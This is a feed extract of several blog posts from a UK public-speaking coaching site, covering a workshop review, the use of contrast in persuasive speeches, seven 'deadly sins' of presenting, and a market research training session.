]]> It’s wonderful to learn that Now You’re Talking workshops are finding the speaking sweet spot, inspiring and helping people with their public speaking and presentation skills. Entitled Overcoming butterflies, here’s what Chloe Bartlem from Razor Research had to say about a workshop for the Association of Qualitative Researchers:

“Author Lyn Roseaman led the recent AQR Breakfast Bite on presentation skills, a nifty session that enthused, involved, and entertained, while inspiring attendees to get practising.

“I recently had the pleasure of attending AQR’s Breakfast Bite on presentation skills. I don’t mind presenting and it’s definitely something I’ve become more confident in, but I do get nervous beforehand — even if I know exactly what I’m talking about. I tend to use a lot of filler words (um, yea, like) that I’m desperate to beat out of myself. I was excited and curious: how much could be fitted into the allotted two hours?

“Charismatic, animated and radiating confidence, Lyn Roseaman was the perfect person to lead the session. To break the ice, we each introduced ourselves and shared our thoughts about a person who, in our opinion, was a good public speaker. Once we’d brainstormed the traits that made these people so great, we started talking about the importance of really knowing your audience, taking the time to know who’s in the room to listen to your presentation and tailoring your message to their framework.

“After running through some other tips and tricks (how to command the attention of the room, getting to the nitty gritty of the real purpose of your presentation and developing an anchor phrase) we moved onto some of the more practical activities. The first was to think about what people really hear when you’re presenting.

“Lyn asked us to consider our natural speaking voice and then how we could use different tones, volumes and paces to really create impact. Half the room was given the opportunity to put this into practice by reading from a passage, the rest listened and fed back. Our final activity of the morning was centred on body language: this really helped when thinking about how to inject more energy and animation into our debriefs.

“I found it a session well worth attending. There were tips, tricks, and hacks to suit every level that can easily be taken forward into future presentations. Now to get practising!”

Review by Chloe Bartlem
Copyright © Association for Qualitative Research, 2018

The post Speaking sweet spot – inspirational workshops appeared first on Now you're talking.

]]> Contrast is key to powerful persuasion https://www.nowyouretalking.co.uk/2018/10/30/contrast-is-key-to-powerful-persuasion/ Tue, 30 Oct 2018 14:52:43 +0000 https://www.nowyouretalking.co.uk/?p=524 Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps…

The post Contrast is key to powerful persuasion appeared first on Now you're talking.

]]> Contrast is key if you want to persuade anyone to your point of view or proposed course of action. Blending into the background is not an option. Contrast blocks out the other demands competing for your listeners’ attention and helps you ensure your message stands out.

Here are five opportunities for contrast when giving a persuasive speech or presentation:

Contrast

1. Contrast in the opening of your speech

Your opening needs to stand out and grab your audience’s attention so that they are focused on you and what you have to share with them, not thinking about the day they’ve had, what to cook for dinner or anything else that pops into their mind.  A polite, but innocuous platitude, such as “Hello, thank you for inviting me …” wastes those precious opening seconds when you need to make an impact and connect with your audience (the first step in persuasion).

A pause.  A smile.  Both are hard to pull off when you’re nervous, but dramatic in their impact.  Everyone warms to a genuine smile.  And a pause draws attention from whatever people are thinking about to focus on you and wonder what you will be sharing with them.

To keep their attention, open with a startling statistic, a personal anecdote (we all love a story), or a relevant quote from someone significant to your audience eg an industry expert or a famous person/historic figure.

 2. Contrast in content

In most business communication, the goal is to persuade your audience to adopt your call to action.  This might be to buy your sales pitch, affirm your recommendations, recommend you to others, etc.  Effective persuasion requires contrast in content.

Evidence-based information, eg statistics, track record or citation of a reinforcing quote from a relevant expert drive credibility, authority and recognition of your expertise.  However, these alone are not enough to persuade.  You need to contrast this ‘rational’ and ‘functional’ information with more emotive content that helps to build trust and relationships; connections with your listeners.  Here, storytelling and anecdotes come into their own.  They may reveal something about you as a person, what you are like to work with, your motivations and so on.  They are your chance to demonstrate your passion and enthusiasm for the case in hand.

Juxtaposed, the contrast of functional and emotive content can bring even greater potency to your message.

3. Contrast of language and words

Rich and colourful vocabulary stands out.  It works well in a speech or presentation in a way it might not in an everyday conversation.  We need to avoid words that are so obscure or jargonistic that people cannot understand and that is why it’s important to know your audience.  However, when we use rich language, it stands out as different and erudite, enhancing our credibility and authority as speakers.  For instance, instead of  ‘say’, try mutter, mumble, shout, whisper, etc.  They all communicate much more than just ‘saying’; they relate both the the act of saying and additionally convey the manner of that articulation.

Over and above words, we have rhetorical devices to contrast from everyday speech, for instance:

  • Alliteration, eg colourful contrasts communicate, startling statistic
  • Metaphor, an expression that describes a person or object by referring to something regarded as having similar characteristics, eg the city is a jungle, broken heart, bubbly personality
  • Repetition or ‘anaphora’ to give it its formal title appears in many speeches by public figures. One of my personal favourites is from Malala’s Nobel acceptance speech when she says:

“Let this be the last time that a girl or a boy spends their childhood in a factory.
Let this be the last time that a girl is forced into early child marriage.
Let this be the last time that a child loses life in war.
Let this be the last time that we see a child out of school.”

  • The rule of three pervades formal speeches, fairy stories, film titles, comedy.  Examples proliferate and you probably have your own favourites. One example I like is from Lewis Carroll’s Through the Looking Glass:

“The rule is: jam tomorrow, and jam yesterday, but never jam today”

Rhetorical devices like these give emphasis and colour, creating engaging and contrasting content.

4. Contrast of voice and body

I’m sure you’ve experienced the misery of the monotone. It’s hard to stay focused on a voice that drones on relentlessly, without any kind of variety of pitch, pace, volume, etc.  A voice that goes faster and slower, louder and quieter, harsher and softer, higher and lower is interesting.  That colour and contrast brings meaning and interest to our words and makes a greater impact.  For instance, if you say “the words tripped lightly off the tongue …”, you will render them more memorable if you use a short, staccato, light enunciation, using a faster pace that, combined, suggest the movement of the words themselves.

While you are talking, think about how you can use contrasting body language and gestures to give emphasis to your words.  If your hands and arms are constantly flailing around, you deny yourself the opportunity to use gestures. For example: to indicate height, position your hand to the relevant height, to indicate inclusion, use an all-encompassing sweep across your audience or wide arms coming together in a large, encircling gesture

 

To give your gestures impact, keep your arms relaxed and hanging loosely by your side and then move them when you want to reinforce a point.  Next time you are watching a play, note how the actors use gestures.

5. Contrasting stage positions

It is, without doubt, important to take a solid stance on stage because it conveys confidence.  A speaker shuffling about makes us feel uncomfortable and nervous and much less likely to be persuaded.  That’s not to say that you have to stay fixed in that position. Different parts of the stage can represent different locations, different points in time.  For instance, audience left for the past and audience right for the future.  When you change position, the audience travels with you to that time, place, etc.  The point is that these contrasting positions should always be taken with purpose, to reinforce your message.

Contrast is the light and shade, the interest, the difference that makes your speech or presentation stand out and helps your audience better remember your message.  To hold attention and persuade, contrast is crucial.

Recently published at:

Lid Radio

Empowered Business Magazine May 2018 pp21-22

Small Business Insider

 

The post Contrast is key to powerful persuasion appeared first on Now you're talking.

]]> Deadly sin stumbles or spectacular speaking successes? https://www.nowyouretalking.co.uk/2018/10/05/deadly-sin-versus-spectacular-speaking/ Fri, 05 Oct 2018 20:16:01 +0000 https://www.nowyouretalking.co.uk/?p=660 Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins: Do you ever feel as if your nerves might get the better of you?…

The post Deadly sin stumbles or spectacular speaking successes? appeared first on Now you're talking.

]]> Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins:

  • Do you ever feel as if your nerves might get the better of you?
  • Are you guilty of ‘infobesity’?
  • Do you tend to overrun your allotted time?
  • Are you someone who never has enough time to prepare?
  • Do you wish you could speak as well as someone else?
  • Do you find yourself apologising if you make a mistake
  • Is the spotlight all about you?

As a speaker, it is too easy to commit a deadly sin when talking to an audience. Prompted by the seven deadly sins, here’s my take on seven behaviours we should try to eradicate from our public speaking and presentations and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this deadly sin is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative anxiety that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your deadly sin of ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves

Infobesity – the deadly sin of Gluttony

deadly sin of gluttony - InfobesityGluttony or ‘infobesity’ tends to manifest itself in speakers saying too much and often brings with it an unintended side effect of speaking too fast.

Saying too much

When you know a lot about something or you’re really passionate about a subject, it is tempting to want to share everything you know with your audience. But think about how long it has taken you to develop your enthusiasm and accumulate all your knowledge … Months? Years? Now compare that with the length of your speech … 10 minutes, 30 minutes, 1 hour?  You cannot realistically hope to share with an audience everything you know about a subject in such a short space of time and expect them to take it all in. It’s just too much information!

What can you do about saying too much?

The speaker’s responsibility is to define a clear goal or message and only include information that serves that purpose.  If it doesn’t support your message, remove it.

Develop a mantra – Less is Always More!

Speaking too fast

An unfortunate bi-product of having too much to say and being nervous is that we tend to gabble and speak far too quickly. We forget to breathe. We’re afraid of silence. Public speaking is not a conversation with a few mates. While a conversational style can be very appealing, giving a successful speech needs us to slow down and speak clearly.

What can you do about speaking too fast?

Slow down!

As a rough guide, I, personally, aim for about 90-100 words a minute.  There seems to be little agreement about average numbers of words per minute in conversation, but the range is generally around 130 to about 225 words per minute. We have the ability to listen at a faster rate than we can speak – some say 500-600 words per minute – but can you really absorb what is being said at that rate … and would you want to?

By slowing down, you achieve three important goals:

  • You have time to draw breath and pause. This helps you relax as a speaker and gives your audience to consider their own experience of what you are saying
  • It gives your audience time to absorb and reflect on the meaning of your words
  • You have time to strengthen the delivery of your message with powerful body language and interesting vocal variety.

Time theft – the deadly sin of Greed

Time theft_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to your allocated time.  Overrunning is a deadly sin. It’s disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with time to spare!

Failing to prepare – the deadly sin of Sloth

Sloth or laziness is failing to prepare and rehearse, as well as failing to learn and improve.

I cringe every time I hear someone say they are ‘winging it’.  Almost invariably, the speech is disappointing. In the words of Benjamin Franklin “By failing to prepare, you are preparing to fail.” When you do this, you let down yourself and your audience.

When you practise your speech, invite feedback from your colleagues and friends. When you deliver your speech, invite feedback from your audience. These are all great opportunities to improve your speech and develop your speaking skills.

What can you do to prepare?

Failing to prepare_deadly sin of slothOur mantra is practise, practise, practise!

“But I don’t have time”, I hear you cry. Such excuses might be considered a deadly sin in their ow right! In my experience, you can usually make time, but you need to be smart about it. For instance, when you are walking to catch a bus or a train or standing in a queue, practise your opening and close. Grab a coffee with a friend or colleague and try out a couple of paragraphs on them. Practise in the shower. Practise while you’re hoovering, walking the dog or out shopping. The opportunities are endless. Find the ones that work for you.

You need to practise what you want to say (content), how you say it (word selection, body language, vocal variety) and ensuring your message is clear and memorable.  In this way, not only do you deserve the opportunity to speak, but you also show respect for your audience as the people on the receiving end. Remember, every speech you give is also a learning opportunity to help you become a better speaker.

Losing control – the deadly sin of Wrath

Outright wrath or anger is, fortunately, rare in public speakers, unless you find yourself listening to the likes of Basil Fawlty! However, instances of the deadly sin of anger can show up in a number of unwanted ways.

Perhaps the most common presentation of ‘anger’ is an apology. It is not uncommon for speakers to say sorry if they make a mistake or forget to say something; mistakes or omissions that your audience probably only noticed because you drew attention to them by apologising.

Some speakers can feel irritated and unsettled if their audience isn’t behaving exactly as they expected, eg audience members whispering to a neighbour, doing something on their phone, etc. They may also be upset with the organiser if there is an equipment malfunction.

What can you do to keep calm?

Losing control_Deadly sin of wrathRemember why you’re giving a speech – because you have something to say that is important to you and of value to your audience. It is not a memory test, so don’t worry about saying something differently from the way you practised it. No one knows except you!

Don’t let technical malfunctions annoy you and waste your precious speaking energy. These things happen. By making sure you are well prepared, know your material and have rehearsed, you should be able to deliver a compelling and engaging speech without technical support. What’s more, you will have the sympathy of your audience and the gratitude of the event organisers.

If a few members of your audience seem a little distracted, remember you don’t know what they’re doing and there’s nothing you can do about it anyway. Getting angry is no good for you or your audience. Be patient and understanding. They might be saying they totally agree with you or tweeting about what a wonderful speech they’re listening to! Focus instead on the engaged members of your audience. The others will come back when they’re ready.

I wish I could speak like that – the deadly sin of Envy

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, Alex Polizzi, Barak Obama or Jeanette Winterson. This deadly sin can make us come across as unduly deferential, which can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

What can you do to be authentic?

First and foremost, be yourself. It is you, after all, that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

Me, Myself and I – the deadly sin of Pride

Me, myself & I_Deadly sin of pridePride is excessive belief in your own abilities, ideas and opinions; you might also call it ‘arrogance’. Such speakers love the sound of their own voice, their own message or point of view. Because of this, they tend to speak for their own validation and they generally fail to connect with the needs and interests of their audience.

Pride may well be the most heinous public speaking deadly sin, rearing its ugly head in all the previous sins. Furthermore, focussing on ‘Me, Myself and I’ puts a huge amount of pressure on you every time you step in front of an audience. The spotlight is on you and you have to get it right. No wonder we feel nervous.

Pride will encourage infobesity, overloading your speeches with content, maybe even ‘bulldozing’ your audience and overrunning your time allocation. Pride will probably persuade you that you don’t need to prepare or practise and make you spiral out of control, all wrapped up in your own little world.

The best speakers want to share something of value with their audience, something that they care about and that will benefit their audience.  An audience always wants to know “What’s in it for me?”  A good speaker will show their audience the answer in everything they say and do on stage.  They understand that speaking is about knowing and connecting with an audience.

What can you do to banish pride?

Make your audience your focus because your speech must always be about them and never about you. By agreeing to speak, you are also taking on a responsibility to find out about your audience. You need to learn what they already know about your subject or point of view, how do they behave, what is their experience, how homogenous or polarised is the group, what will they think of your message, what’s the best way to talk to them and so on. In short, know your audience!

Imagine yourself sitting in that audience. How would you feel experiencing your speech?  Is it new information? Is it clearly structured and signposted? Do you feel comfortable? Is the delivery interesting and engaging?

Your mantra should be the audience asking “What’s in it for me?” Crucially, your job is to prepare, practise and deliver a speech that shows them.

By banishing the seven deadly sins banished from your public speaking life, you can look forward to making clear, connected and memorable speeches, which will be enjoyed by both you and your audience … not a deadly sin in the room!

 

The post Deadly sin stumbles or spectacular speaking successes? appeared first on Now you're talking.

]]> Professionally speaking https://www.nowyouretalking.co.uk/2018/09/25/professionally-speaking/ Tue, 25 Sep 2018 19:50:21 +0000 https://www.nowyouretalking.co.uk/?p=725 Professionally speaking,  AQR’s Breakfast Bites this morning was a fun and effective market research training. Dished up with coffee and pastries, The Research House, a Schlesinger Company offered a relaxed setting. In spite of the early start, everyone was alert and contributed…

The post Professionally speaking appeared first on Now you're talking.

]]> Professionally speaking,  AQR’s Breakfast Bites this morning was a fun and effective market research training. Dished up with coffee and pastries, The Research House, a Schlesinger Company offered a relaxed setting. In spite of the early start, everyone was alert and contributed fully in a relaxed frame of mind. What a great way to learn and start the day.

Leading participants through some key elements of public speaking and presenting, we looked at:

  • The importance of focusing on your audience
  • Reaching your listeners with powerful and impactful messages
  • Keeping them engaged through storytelling
  • Harnessing your voice and gestures to ensure engaging and dynamic delivery.

Professionally speaking. Great speeches. Great speakers

To kick off the session, participants came up with some key words they associate with great speakers and great speeches. Have you got these key elements covered in your speeches?

 

The post Professionally speaking appeared first on Now you're talking.

]]>